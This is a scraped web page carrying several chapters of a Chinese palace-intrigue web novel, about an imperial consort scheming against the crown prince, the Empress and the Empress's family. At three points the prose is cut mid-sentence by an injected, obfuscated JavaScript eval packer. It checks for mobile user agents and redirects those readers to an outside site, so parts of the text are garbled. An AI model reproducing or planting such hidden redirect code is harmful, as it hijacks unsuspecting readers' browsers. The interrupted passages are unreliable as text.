皇帝拧眉:“大胆!小忠子,你弄什么鬼?” “奴、奴才不敢……”苏忠远拼命低头,往后退。 顾辰枭察觉出不对,“过来伺候。” 无奈,苏忠远只得上前,跪下。无论他怎么低头遮掩,还是被皇帝一眼就看到了额上伤痕。 “怎么回事?是谁伤了你?” 皇帝自然不在意一个太监的死活。 可苏忠远是他一手提拔的御前太监,在宫中代表的是帝王的颜面。除了自己这个皇帝,还有谁敢对苏忠远动手? 当真是好大的胆子! “是、是奴才不小心,自己磕的。” “欺君之罪,罪该万死。” 皇帝淡淡一句话,吓得苏忠远跪伏在地,身上抖得厉害。 终是忍不住,说:“是奴才去东宫送贞妃娘娘的护膝,不知怎的冲撞了太子殿下……” 太子竟对御前的人动手? 顾辰枭气得愣住了,“到底怎么回事,如实说来!” 苏忠远说了一遍。 皇帝又叫东宫里伺候的太监来,又说了一遍。 两人说得一模一样。 那灰鼠皮子护膝,没能进去东宫。 江澜因在旁听着,等皇帝问明了真相,她眨眨眼,掉下泪来。“皇上,都怪臣妾不好,臣妾是不是让您和太子为难了?” 顾辰枭面色冷沉。 “不是你的错。” 这次,太子太过分了。 打御前的人,就是打自己这个皇帝的脸。连同因因的一片心意,都被他踩在了脚下。 “朕让他在东宫躲着,是为护他周全。他全然不替朕考虑,竟还要闹!”皇帝深吸一口气,“既然朕和因因送去的东西,太子不喜。往后什么都不必再送给他。一个思过的人,不必过得太舒服。” 江澜因眸光一闪,飞快与跪在地上的苏忠远对视。 不易察觉地挑了挑唇角。 她擦去眼泪,开口:“皇上,太子殿下他定不是有心发作御前的人。他不敢冲撞皇上的,殿下定是冲着臣妾……都是臣妾的不是。” 看着小姑娘可怜巴巴不敢哭的样子,顾辰枭只觉心口怒气散了,又乌云一般重新聚起。 比之前更浓烈。 “来人,颁朕的旨意下去,太子肝火太旺,该过午不食,养一养脾胃,压一压肝火!东宫伺候的人,也不用那么多,裁撤掉一半。另叫人送《孝经》、《孝史》进去,依朕看,这两部书,太子该好好儿读一读!” 发作了太子,皇帝犹觉得心口发堵。 顾言泽是他的第一个儿子,是樱儿的血脉。天知道他在太子身上花费了多少心血。 却教得太子如此! 深深的厌倦和挫败感涌上心头,顾辰枭伸手按了按紧绷的眉心,第一次为自己当年的选择,感到迷茫。 顾言泽,真的适合储君之位吗? 这时,纯妃来了。 还带着二皇子。 痴痴傻傻的二皇子见到皇帝,脸上显出孩子一般单纯的惊喜,“父皇!父皇!” 青年人清润的声线,幼童稚嫩的语调。 平日里皇帝听了,只会觉得烦心。 今日却被太子衬托的,连二皇子都顺眼了许多。 “纯妃,璟儿,你们怎么来了?” 纯妃也未想到,江澜因请她来翊坤宫,竟挑了皇帝在的时候。 她不甚得宠,平日里在顾辰枭跟前,只会唯唯诺诺。 此刻却福至心灵。纯妃拉二皇子过来,含笑道:“是璟儿。这孩子得了贞妹妹的护膝,喜欢得什么似的,非要穿戴上给贞娘娘看看,要好好儿谢谢贞娘娘。” 二皇子:“多谢贞娘娘,璟儿喜欢,璟儿也给贞娘娘带了礼物。” 一伸手,是从御花园里折的梅花。 这礼物,真是…… 又应景,又得来全不费工夫。 江澜因欣喜道:“快拿去插瓶。就用皇上前日赏给本宫的雨过天晴长颈梅瓶,想来最是相称。” 女孩声音清越,和二皇子一样,充满单纯的喜悦。 顾辰枭觉得堵在心口那一口气,终是慢慢散了。 “璟儿很好。”他温和道,“朕记得,他也有二十岁了。纯妃,你心中可有相中的儿媳人选?” 纯妃忍不住,眼眶有些微红,她隐忍着,“皇后娘娘给璟儿说了几家,都不合适。” 为皇子们操持婚事,本就是皇后这个嫡母的职责。 顾辰枭知道纯妃不敢怪皇后。 “儿女自有儿女缘,纯妃不必为璟儿忧心。他是朕的好孩子,还怕没有好姑娘相配?皇后如今要给霖儿相看,朕与她说,叫她务必为璟儿多留心。” 有皇帝这句话,纯妃心安了。 心中一块大石头落了地,她几乎要忍不住哭出来,“多谢皇上!多谢皇上!” 口中感谢皇帝,却是偷偷看了江澜因一眼,眼神充满了感激。 江澜因对她淡淡一笑。 让太子过午不食的消息传到东宫,顾言泽愣愣地,半晌没言语。 心中怒意席卷上来。 他堂堂大盛太子,不过是误伤了一个太监,牛马一样卑贱的东西。 父皇为了太监,罚他? 还用这种羞辱人的法子! 父皇……是不疼他了吗? 可他是大盛储君,是父皇最爱的女人唯一的孩子。父皇怎会如此?怎会猜忌他,不要他? 顾言泽心口好似被刀剜一样痛。 自他回宫,父皇就将他软禁在东宫,早没了储君的威仪。口中说要帮他查案,给他讨回公道。 可这么长时间过去了。 公道在哪儿呢? 只怕父皇,早就忘了。 还有……因因…… 想起江澜因,顾言泽口中一阵腥甜,呕得几乎要吐血。 他的因因,成了贞妃,日日都陪在父皇身边。 会不会,忘了他?会不会和旁人一样算计他? 顾言泽双手紧紧攥着,手背青筋暴起,愤怒几乎要涨裂血管。 父皇……江澜因…… 都不要他了。 过午不食很磨砺人的心性。 尤其是用惯了三餐的人,骤然少了一顿。到傍晚,顾言泽已觉出饥饿来。 为保太子威仪,他不表露出来。 耳边却听得坤宁宫方向,阵阵的嬉笑、笙歌。都是因为老三顾承霖回来了。 要命的是,现在是晡时(饭点儿),宫内大小厨房一起开灶。 愈发衬得东宫冷寂,孤清。 “都出去。”顾言泽脸色难看至极,声音极冷,“孤要读书,思过。” 众下人都退下,只余一个胖乎乎的小太监,偷偷摸摸凑上来: “殿下,贞妃娘娘知道殿下脾胃不好。如此,只怕要犯胃脘痛,特叫奴才送来了这个。” 第107章 江澜因喂狗 第一百零七章 江澜因喂狗 两个馒头。 蒸得颜色莹白如玉。 可凉透了,也硬如玉石一般,根本难以入口。 “殿下,都怪奴才无能。本来、本来奴才该早来,还有些旁的糕点,就口的小菜……可,守门的公公难为,奴才只得等他们换班,才偷溜进来。” “又被人盘问了两句,推搡间,东西都掉了。” 顾言泽这才细打量了小太监一眼。 见他头面上有些伤痕,下巴颏一道擦伤还渗着血。 模样儿凄惨可怜。 “是东宫的人难为你?不许你见孤?” 小太监胖乎乎的脸上现出委屈,“殿下,大家也是听从皇上的吩咐,奴才不敢怪他们。” 顾言泽面色愈发阴沉,手指攥紧。 这还是他这个太子的东宫吗? 没有一个心腹下人,全都是父皇的走狗! 只会监视他,为难他。 看他的笑话。 古往今来,有哪一朝哪一代的太子,当得像他这样憋屈的?再没有了! 目光落在那两个冷硬的馒头上。 堂堂大盛太子,自然不会吃这种东西。 可,这是因因的心意。 顾言泽面色柔和了些许,终是将馒头接到了手里。“她可有话要对孤说?” “……娘娘不曾说什么。” 掌心的馒头发硬,发冷。 顾言泽拧眉。 难道,因因只是……可怜他? 笑话,堂堂太子,用得着别人可怜? 小胖太监道:“娘娘她……哭得不行。可不敢给皇上看出来,这么冷的天,日日都用冰块敷眼,苦不堪言。娘娘说她对殿下,无话可说,只盼殿下能够……平安。” 视线从馒头,重移回小太监脸上。 只觉他狼狈之外,又添加一份可怜。 因因到底是挂心他的。 她陪在父皇身边,小心翼翼,不敢多说一句话,多走半步路。 都是为了保全自己这个太子。 因因…… 顾言泽:“孤如今,没什么好赏你的。” 说罢,要解腰间玉佩。 小太监见了,忙不迭摇头,腮上的软肉都跟着直颤。“好殿下,什么赏赐?奴才受不起!贞娘娘对奴才有救命之恩,奴才这是报恩。娘娘身边,也没有可信的人能为她办差,在这宫中,真是寸步难行。” 因因确实很难。 顾言泽唇角下垂,眼中流露出怜悯之意。 因因她就算成了妃,又如何? 还不是一样凄苦,一样无依无靠? 父皇不会疼人,又有满宫的嫔妃,莺莺燕燕争宠,只会叫因因过得生不如死。 他不一样。 他心里只有因因一个。 修长的手指无声攥紧,在馒头上捏出一道指印。 不能再消沉,自怨自艾下去了。 他的因因,还在外面等着他。 片刻后,翊坤宫。 小胖子在江澜因跟前,把东宫那一幕讲了一遍。 胖胖的身子,模仿顾言泽种种姿势身段,竟十分神似。 江澜因眼角几乎要笑出泪水。 “你做得很好,赏。” 雪色取来两个荷包,“赏你,因你差事办得好。赏你师兄,你师兄给你化的这个伤妆,以假乱真,也好。” 这是江澜因的规矩。 只要事情成了,无论是顶在前头的,还是在后面襄助的,都有赏赐。 不叫下人们因争功起心思,好好儿办差,都一样得重用,得赏赐。 小胖子小瘦子两个一起跪地谢恩。 如今他们已是翊坤宫太监,只忠于江澜因。 打发两人去了,雪色有些忍不住,“小姐为何还要待太子好?叫奴婢说,就该不管他。” 最好能饿死他。 雪色可清楚地记得,从前,太子虽与自家小姐有婚约。 可每次来侯府,脸儿都扬得高高的,眼睛里根本看不见自家小姐。 倒是对表小姐另眼相看。 还对小姐不止一次地说:“师师她自幼没了娘,在侯府寄人篱下,十分可怜。江澜因,你该让着她。” 那表小姐通身绫罗绸缎,珠玉满头。 自家小姐只能穿侯夫人都不要的老气颜色,头上素素的两三根银簪子。 太子就跟瞎了似的看不见,一味地只叫小姐让着表小姐。凭什么? 哪有男子帮着旁的女人,欺负自己未过门的妻子? 雪色每次暗地里想起来,都恨得牙根痒痒。小姐太委屈了。 如今自家小姐一步步高升,太子却落败禁足。 小姐却要帮他,他配吗? 听雪色问话,春枝也停下手中动作,看向江澜因。显然是心中也有疑惑。 两个小丫鬟对江澜因的忠心爱护,高于忠君。 江澜因笑了笑,“你们觉得,给太子两个冷馒头,是待他好?” 侯府的狗,都不吃这个。 两个丫鬟一愣。 江澜因耐心道:“太子可饿不着。皇帝怎舍得儿子身子受损?现在虽一日两餐,可那是正餐。各样糕点、果品根本不会短了他。膳食也比原来精细,都是温养身子的好东西。” “皇帝对太子尚未死心,才气成这样,都要护着。” 何家势大,却到现在都不知道太子还活着。 皇帝在此事上用了多少心思? 足见他对太子在意。 “既然皇上都护他,咱们也不能不闻不问。” 顾言泽这个人,从小到大,没受过挫折。 他所有的东西,高贵的血统,储君的地位,说一不二的权势……都是别人给的,没有一样是他自己争取来。 遇到丁点儿困境,只会逃避,装死,趴窝。 江澜因唇角微微上扬,似笑非笑,“得给太子些好颜色,不然,他还怎么开得起染坊呢?” 太子还没有被利用到极致。 他日子过得太清闲了,可不成。 另一边,坤宁宫。 顾承霖自回京,日日都进宫给母后请安。 “……儿臣不在这些年,母后受了她们多少欺负?”少年脸上,尽是愤愤不平之色,“后宫这些女子,一个个儿生得面如桃李,却心狠似蛇蝎!母后,尤其那个贞妃,真不要脸。” 何皇后反而劝道:“好霖儿,这不是你一个大男人该管的事。你的战场,在前朝。” 如今三皇子回京,府里日日赏赐不断。 谁都看得出皇帝对他疼爱到了骨子里。朝中也有大臣动了心思。 只是三皇子年轻,身上没什么功绩。若说做太子,到底分量有些不够。 就算是顾言泽,身上也还有些军功呢。 何皇后:“你出宫后和你舅舅多亲近。叫他护着你,赚点功劳在身上。也好在朝中造势,早日让你父皇看到,你有多优秀。” “母后,不急。” 顾承霖超越年龄的沉稳,“太子哥哥去了,父皇正是伤心的时候。儿臣这时冒头,倒叫人议论不顾兄弟亲情。左右儿臣这次回来,便不打算走了。好好儿办几件漂亮差事,把根基打牢,比什么都重要。” 孩子有自己的想法,何皇后欣慰道:“霖儿,你长大了。” “母后,您放心。” 顾承霖温润的脸上,现出自信满满的笑。 太子死了,这天下迟早是他的。 父皇没有别的选择。 第108章 三皇子马踏靖威侯 第一百零八章三皇子马踏靖威侯 儿子的话,何皇后也认同。 太子已死,皇帝不传位于顾承霖,难不成要给那个傻子老二顾璟轩? 没有这种可能。 那把龙椅,她儿子坐定了。才不枉她这一番筹谋。 顾承霖冷不丁儿开口:“母后,只是……太子哥哥,他到底是**的?” 大盛南疆紧挨着寮国、安南、婆罗多等地。虽不安宁,也不过是小患,不致命。仗根本不难打。 镇南将军什么事都没有,太子哥哥怎就**? 何皇后眸光飞快地闪了一下,“……不过是战场上,刀剑无眼罢了。” “可……” “霖儿,都过去了。”何皇后看向她的儿子,怎么看怎么觉得心中满意至极,“过去的事,你不要再多想。重要的,是将来。” 是他的锦绣前程。 三皇子孝顺,从不顶撞皇后的话。 他恭顺道:“儿臣都听母后的。” 只是心里想着,往后有机会,也要上战场。 为太子哥哥报仇。 也向父皇证明,自己比太子哥哥强! 顾承霖出宫,去往何府。 路上,竟见玄武大道堵得水泄不通统统。三皇子骑马,被堵在街口进不去。 他拧眉,“怎么回事?” “禀三殿下,是有权贵车辇非要在路当中调头,因往来人多,一时就堵住了。” “什么权贵?”顾承霖声音愈冷。 “是……是靖威侯,江家的车辇。” 江家?江澜因? 仗着出了个贞妃,竟得意至此! “什么上不得台面的东西?”顾承霖冷道:“列队,冲过去。” 他身后跟着从属地带回来的私兵。 听得三皇子一声令下,立时列队,护卫用的**直指靖威侯马车。 靖威侯在车内看到,震惊地瞪大眼睛。 还想叫下人去交涉。 却见那三皇子骑在白马上,冷冷睨着他,如看着什么脏东西一样。顾承霖一挥手,身后私兵齐冲过来! 围绕在车边的百姓、下人瞧见势头不对,早跑了。 只余靖威侯,卡在车里,一时逃不掉。 对上明晃晃的枪尖,靖威侯面如土色,拼了命地挣扎,从窄小的车窗里硬挤出去。 鼓涨的肚子被蹭破了皮,火辣辣地痛。 跌在道边。 众人惊呼声中,靖威侯抬头。 只见巨大的阴影,将他兜头罩住。 是顾承霖跨在马上,从靖威侯头顶高高飞跃而过。 “啊!” 惊骇变形的尖叫声中。 顾承霖控着白马稳稳落地,两条坠着银珠的辫子在半空中划出优美弧度,垂落在肩上。 高贵俊朗,宛若神祇。 “这次不过给你一个教训。靖威侯,你再敢借着身份权势生事,本皇子定不饶你!” 靖威侯灰头土脸地回到侯府。 却正撞见文氏,手里捏着什么,要往文师师禁足的屋里去。 满脸的喜色。 靖威侯气不打一出来,“站住!禁足是什么意思,你一个当家主母不知道?本侯禁文师师的足,没禁你的?” 文氏心中喜悦,根本不怕他。 “侯爷,你瞧不起我们文家女。可到底师师争气,这不就得了天大的机缘?” 文氏挥了挥手里的东西,靖威侯才看清,那是一张请柬。“师师得贵人看重,我这个做姑母的,面上也有光。不似江澜因,用那等下作手段勾着皇上……” 江澜因勾皇帝,是用她的身子。 把高门贵女的颜面都丢完了。 到底不如她的师师清贵。太子对师师倾慕,是因看到师师肯为他殉死,是喜欢她的高洁心性。 以色事人者,色衰而爱驰。似师师和太子这样,才能得长久。 就像……她和敬哥哥,都这么多年了,还两相记挂着,不能忘情。 文氏面上浮上红霞,“崔家的赏花宴,专门给我和师师下了帖子。” 靖威侯伸手夺过那请柬,翻来覆去地看。 崔家,赏花宴。 可只说了请文氏和文师师,没说请自己这个靖威侯。 也这般,瞧不起自己吗? 肚皮上的伤口火辣辣地疼。靖威侯面色阴沉,“都什么时候了?本侯的颜面被人放在地上踩!你还想着赴宴?皇上的话,你忘了?” 他咬牙切齿:“不准去!” “你和你那个侄女儿,没还完侯府的钱以前,哪里都不准去!” 文氏瞪大眼睛,“这可是崔家的请柬!” 见靖威侯不为所动,文氏只得软了声气,劝道:“侯爷,你也想想慎儿。江澜因不肯帮他,就算为了慎儿,咱们也该多结交崔家,叫他们做慎儿的助力。” 文氏这一点,倒是说进了靖威侯心里。 最近,江慎总是叫他失望,暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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何皇后:“霖儿,那靖威侯是什么东西?也配得上你亲自出手?你为他惹你父皇不悦,值得吗?” “儿臣只是看不起他仗着贞妃跋扈。不给他个教训,心里不痛快。” 见何皇后面色不愉,顾承霖笑着哄:“母后,您也说了,那靖威侯是什么东西?父皇岂会真的为他与儿子动气?过两日,就好了。” “你、你啊!” 何皇后伸手,戳了一下顾承霖太阳穴,“母后不是说了,你是皇子,将来的太子、皇帝,跟贞妃一个后妃置什么气?” 说着,何皇后语气突然一顿,疑惑道: “霖儿,你素来最听母后的话。为何……偏就对贞妃,这般在意,怎么都放不下?” 第109章 因因太单纯,别吓坏了她 第一百零九章因因太单纯,别吓坏了她 何皇后厌极了江澜因。 可也不得不承认,她的容貌生得极好。偌大一个后宫,无有能出其右者。 她不就是仗着这副好皮囊,勾了顾言泽,又勾了皇帝吗?霖儿,可千万别……不得不防! 何皇后沉了脸色,“再如何,她都是你父皇的嫔妃,你离她远一些!” “儿臣自然知道远着那样的人……” 何皇后打断:“母后给你看了几家姑娘,都是极好的。你回京这些日子,也该找机会见见。” 顾承霖微微一滞,又笑道:“母后,儿臣不急。” “你不急,母后急!”何皇后愈发觉得不对,“你不小了,该快些把婚事定下来,省得人心浮动。” 她拉着顾承霖,细细地讲,崔家的女儿如何,黄家的女儿如何,几个侯府里出来的嫡女又如何…… “母后……” 顾承霖拖长声音打断,脸上显出孩子气,“儿臣都没见过那些女子,怎知道她们好不好?母后不是要办赏花宴,到时候让儿臣自在相看便是了。” “相看归相看,什么样的女子能相看,什么样的女子不过是来凑个趣儿,霖儿,你心里要有数!”何皇后落了脸色,与顾承霖对视。 片刻后,终是叹了口气,抬袖点拭着眼角。 “从前,有你太子哥哥在你前面挡着,你的婚事,母后不过问,你自在选自己喜欢的姑娘便是。可现在,你太子哥哥去了,母后就只有你了……” 未来的新太子妃,必须能给顾承霖这个新太子提供助力。 出身一般的,可不成。 提到太子,顾承霖也不倔了,“母后的深意,儿臣都知道的,儿臣到时候定会好好相看。母后,您信我。” 三皇子走后,素月小心翼翼:“皇后娘娘,三殿下刚回来才几日?咱们是不是把殿下逼得太紧了?” “不逼紧点,不成。”何皇后眉宇间闪过一丝狠戾,“宫中下作勾引的女子太多,本宫不得不防。” 正说着话儿,只见内务府总管秦国海领着几个宫女,从坤宁宫门口经过。 何皇后一个眼神,素月出去拦住,“秦公公这是干什么去?” 秦国海躬身赔笑,“素月姐姐身量儿又清减了,穿着嫩柳绿色儿裙子真好看。” “别贫,是娘娘问你话呢。” 秦国海忙道:“这几个都是绣娘,要往翊坤宫去。” 身后传来一声轻咳。 素月眼珠微转,“巧了,皇后娘娘宫中要制香囊,这几个绣娘,先给皇后娘娘使使。贞妃想必也不差这一日半日的,稍晚些,你再来接她们送去翊坤宫。” 六个绣娘进了坤宁宫,出去时,变作了七个。 人进了翊坤宫,江澜因吩咐:“找你们来,是因本宫要为皇上制贴身的衣裳。你们每人绣些龙凤图案给本宫看,若绣得好,本宫提拔你们。” 在七人中选出两个绣功最佳的,做一等绣娘,其余的全是二等。这些人统归春枝管束。 第二日,顾辰枭来了。 “因因,靖威侯的事,你都听说了?” “皇上,”江澜因迎上去,“臣妾有罪,纵得侯府太放肆了。那玄武大道乃是京中要道,爹爹全然不顾人多,当街掉头,堵塞街道,是他的不是。皇上别因为此事迁怒三殿下,臣妾心中不安。” “不必多礼,快起来。” 顾辰枭扶着江澜因小臂,把她带到自己怀中护着。 心中感慨一句,这小姑娘是真单纯啊。 他在乎靖威侯有没有错处吗? 不在乎。 他在乎的是,江澜因是他破格拔擢上来的妃嫔,是他心尖尖上的人。满盛京,如今谁不知道他这个皇帝宠爱贞妃? 不封赏贞妃的母家,是自己这个皇帝懂得节制。 可何皇后的儿子,顾承霖,却非要与靖威侯作对。 这不是打他这个父皇的脸吗? 话到了嘴边,又咽了回去。 算了,小姑娘单纯,跟她说这些朝堂上的事,恐怕会吓到她。也叫她寒心。 自己将她封妃,养在深宫,就是要护着她,娇宠她。 她就该一辈子这么单纯善良。 大手抚上江澜因不盈一握的纤腰,“因因,你很懂事。不过此事不必你操心,一切有朕在,不会亏待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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临走时,顾辰枭特地多看了那绣娘一眼,“你叫什么名字?” “奴、奴婢绯儿……” “好好伺候主子,别生什么不该生的心思。朕的话,你可听清楚了?” 第110章 为母则刚,文氏谁也不怕 第一百一十章为母则刚,文氏谁也不怕 绯儿大大的眼睛闪了闪,诚惶诚恐地低下头去,“奴婢不敢僭越,奴婢都知道了。” 再抬头,皇帝已然走远。 这一幕,被春枝看在眼中。 “……小姐,奴婢去内务府旁敲侧击打探过了,这个绯儿就是皇后**来的人。” 江澜因漂亮的猫眼微微眯起,眼中闪过一丝锐光。 她投下的香饵,皇后果然咬钩。 身子斜依在软枕上,一支纤细的手腕撑着额角,唇边扬起一抹笑意。 丽嫔死后,何皇后手里没有好用的刀。到如今,已是再也忍不住了。 绯儿生得与何贵妃的画像有几分相类,没准是何家哪个小旁支的庶女……不,应当是外室女,身份难察,见不得光那种。 何家不能明着举荐入宫。 竟想走翊坤宫的路子,捧上去分江澜因的宠。 “小姐,要不要把人料理了?” 江澜因看春枝一眼,笑了,“都被沉璧带坏了,整日只会打打杀杀。” “可是,小姐……” “这个绯儿且放着,回头再料理。” “是。”春枝又道:“还有侯爷、侯府那边……” 江澜因面上笑意淡了点。 “让沉璧传本宫的话回去。本宫得宠,多少人盯着侯府找错处。让靖威侯老实些,别叫人抓得到了把柄。” 可这把柄,到底还是被抓到了。 有人张扬出来,靖威侯那日,本是要去吃酒。 中途又变了主意,改道想去秀水河。 这秀水河邻着白虎大街,穿盛京城而过,很有些烟花繁茂处。 靖威侯此去,只怕是要白日狭伎。 堂堂**的侯爵,行事竟如此龌龊不堪。 侯府是什么样的地方?侯府出身的贞妃品行又能高洁到哪儿去? 一时间,街面儿上众说纷纭,流言甚嚣尘上。 顾辰枭气得摔断了御笔。 “……他太丢因因的颜面,太让朕失望!” 要罚靖威侯。 可稍一回想,皇帝就发现,这几个月来,靖威侯吃过罚俸、禁足、圣旨训斥…… 虽不伤筋动骨,面子却快要丢完了。 江澜因又来御书房,脱簪请罪,哭得梨花带雨。 “皇上,臣妾父亲竟行事如此荒唐,罪该万死!” 顾辰枭:…… 死到不至于。 江澜因:“臣妾愿替父亲受刑,求皇上按律惩处!” 顾辰枭原本冷厉的眉心攒动。 他的因因,实在是太懂事了。叫人心疼。 “扶贞妃起来,不关她的事。让靖威侯自己去请二十廷杖,然后,叫他负荆请罪!” 苏忠远忙扶起江澜因,不放心追问道:“皇上,可是叫侯爷去三皇子府请罪?” “叫他来宫门口跪着!向朕和因因请罪!叫他大声说,是他辜负了贞妃娘娘的期许!不许他往后一错再错!” 叫当爹的给女儿请罪,也是大盛开国以来头一份儿。 本有御史口称孝道,要反对。 却被黄睿怼了回去,“……所谓君臣父子,可见孝道虽大,大不过忠君。靖威侯请罪,不是向贞妃娘娘这个人,是辜负了天恩,向天家规矩请罪。有何不可?” 话虽说得冠冕堂皇。可实实在在赤着上半身,背着荆条,跪在宫门口请罪。那滋味,可不好受。 回侯府时,靖威侯膝盖剧痛,走路都踉跄。 文氏对他,也不似从前一般敬畏。 “……妾身说什么来着?江澜因没有良心,她连她亲爹都不肯帮,侯爷还能指望她些什么?” 靖威侯面色阴沉,“滚!” 文氏只冷冷看他一眼,施施然走了。 如今她的文师师得了崔家青眼,敬哥哥私下里传信过来,说此事十有**能成。待师师脱了苦海,这侯府、靖威侯,就再也困不住她了! 都说为母则刚,为了文师师,文氏谁也不怕。 翊坤宫中。 雪色又急又恨,都快哭了,“侯爷怎么这样,不给小姐争脸。小姐在宫里举步维艰,他们可好,在外面恣意快活。” 江澜因垂了垂眼睛,“此事,未必是真。” 她自己的爹,她了解。 如今的侯府,表面风光,内里亏空。靖威侯没有余钱出去胡乱挥霍。 雪色瞪大眼睛,“若是假的,侯爷为何不辩?” “因为他也不干净,辩不清楚。” 就算这次不是狭伎,从前一定去过。 总之不清白。越是辩解,只会被人翻出越做的证据, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260408|197890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越糟糕。 江澜因:“是何家的手笔。三皇子不愿低头。” 前世,江澜因记得这位何皇后所出的三皇子,顾言泽死在外面这十年来,一直未能获封太子。 他或是总觉得是自己做得不够好,为了表现,倒是做了很多实事。 却被突然杀回来的顾言泽摘了果子。 是个白忙一场的倒霉蛋。 江澜因本不想与他对上。可他这样频频生事,也实在是,太烦了。 “去问问,三皇子府里,咱们的人,可有传信来。” 一朵云笼在翊坤宫上方,在金澄色的琉璃瓦顶上投下淡淡阴影。 坤宁宫却晴和一片。 花厅中,笑语声声。 是何锋尧奉旨进宫,看望何皇后这个妹妹。 何皇后摆开宴席,“……都是一家人,大哥不必拘礼。靖威侯自己不争气,也多亏了大哥帮忙散布那些消息,皇上信了,这几日对霖儿才有了些好脸色。霖儿,快谢谢你大舅舅。” “举手之劳。”何锋尧乐呵呵的,“靖威侯其身不正,这是他应得的报应。只可惜,皇上没一并发落那贞妃。” 何皇后含笑:“早晚的事。后宫的小事,不劳大哥费心。” 一家子其乐融融。 用膳毕,何皇后向顾承霖:“你用了酒,母后看你脸色有些泛红,先退下吧。母后还有几句话,要和你大舅舅说。” “是,儿臣都听母后的。” 顾承霖走后。 何皇后:“大哥,霖儿都回来这么长时间了,皇上虽然疼他,赏赐他。可都是些玩物儿,没有实权。皇上是不是觉得咱们的霖儿还小,是个孩子?” 她有些急。 顾承霖坐上太子之位,何皇后才能安心。 室内灯影摇曳,映得何锋尧面上阴晴不定。 何皇后:“大哥,本宫在跟你说话。” “霖儿的事,暂且不论。”何锋尧抬头,不闪不避地盯向何皇后:“芙儿,大哥只问你一句,言儿的死,是不是你的手笔?” 何皇后脸色瞬间发白。 她动了动嘴唇,刚要说什么。 何锋尧面上突然变色,一脚踹开身后房门。 “谁?!” 这可是要命的话! 若被人听去,这人也留不得了! 第111章 何家人都有秘密 第一百一十一章何家人都有秘密 何锋尧手指扣紧了袖中滑落的短刀,大跨步逼近。 却硬生生顿住。 转折太大,他浑身的杀气兜不住,刺得门外人脸色有几分苍白。 何皇后惊呼一声:“霖儿!” 她奔过来,挡在顾辰霖、何锋尧中间,急急道:“霖儿你可伤没伤着?都怪你大舅舅疑神疑鬼。可霖儿,你怎么回来了?” 隔着何皇后,顾承霖目光看向何锋尧。 他声音很轻,“大舅舅,您刚才,说的是什么?” “大哥……” 何皇后低低叫着,看向何锋尧的眼中,满是哀求。 若不是心虚,对峙便是,何须如此? 何锋尧心口一阵发凉。 他杀伐果断,手段酷烈。但眼看着顾言泽长大,疼爱他和疼爱顾承霖都是一般。 没想到,顾言泽的死,竟出自皇后之手! 他的姨母,亲手抚养他长大的母后! “芙儿,你……” 对上顾承霖清澈的目光,涌到唇边的话,何锋尧一口咽了下去。 言儿……已经**。 活着的人,还要活下去。 罢了,罢了! 何锋尧闭了闭眼睛,再睁开,已是满面平静。 “霖儿,大舅舅因在外面听了些风言风语,气不过,才来与皇后娘娘说。你知道这后宫之中,到处是明枪暗箭,大舅舅是提醒皇后娘娘提防这种话。” “不、不是……怀疑皇后娘娘。” 这话一出,顾承霖面上现出笑来。“大舅舅说什么呢?我自然知道你不会怀疑母后,母后养育了太子哥哥二十余年,太子哥哥出事,母后是最难过的。你怎能怀疑她?” 何锋尧:“……是、是。” 顾承霖:“外面说这些话的人,简直该死。大舅舅再听到有人胆敢污蔑中宫,尽管告诉我,不必拿这等小事滋扰母后。” 何皇后在顾承霖眼中,是天底下第一等的慈母。 对他和太子哥哥都极好。 怎会害太子哥哥?不会的。 又说了一会子闲话,顾承霖取了他落下的荷包,与何锋尧先后散出宫去。 宫道上。 何锋尧想着刚才的事,只觉心口一阵阵发凉。 芙儿怎么下得去手?言儿也是他们顾家的血脉啊!他自幼没了娘,已经很可怜了,芙儿却还不肯放过他…… 正想着,身后传来一声轻呼,“大少爷……大将军。” 何锋尧脊背僵直一瞬,回身行礼时面色如常。“微臣见过邱嫔娘娘,给娘娘请安。” 请安毕,擦肩而过。 松枝上的积雪,在二人身后,簌簌落了满地。 另一边,顾承霖回到三皇子府。 皇帝疼他,赏他的府邸极轩敞又精致。比他在属地的王府还要豪奢。 进朱漆大门,过雨花石小巷,行过廊桥,至内院中。 一道清亮的女声响起:“三殿下可是被后宫中的姹紫嫣红迷了眼,如何回来的这么晚?” 顾承霖面上扬起少年明亮的笑意,快步跨进庭院,“曦儿,偏你的嘴巴最利。那是父皇的后宫,岂容你这般瞎说?” 责备的话语,语气却温和。 一身鹅黄色,容貌娇俏的曦儿迎上来。 她嬉笑着,丝毫不怕。“那有什么?我听说,当今最得宠的贞妃,从前是你大哥的准妃。皇上真是不论什么样的女人,都纳入宫中,不怕人笑话?” “这话,出了我府中,不准再说。” 顾承霖声音沉了些,“盛京不比属地,闲人多,耳目多。你要谨慎。” 曦儿扁了扁嘴,有些委屈。 “殿下花言巧语,把人家从属地骗到此处,又关着人家,不许人家出去。人家闲话几句怎么了,都是自己府中的下人,难道还能外传不成……” 见女孩软了语气,顾承霖也不好苛责。他双手按住曦儿双肩,耐心道: “我不是说过?把你从属带到京师,是要许你将来一生一世。曦儿,你耐下性子等几日,必有好消息。好吗?” “谁要跟你一生一世?讨厌……”曦儿羞红了脸,捏拳轻轻捶打三皇子的胸口。 两人嬉笑打闹,和昔日在属地时一模一样,全不避讳。 院中伺候的洒扫下人见状,都无声退下。 不多时候,三皇子金屋藏娇的消息,就经由密道,递进了江澜因耳朵。< 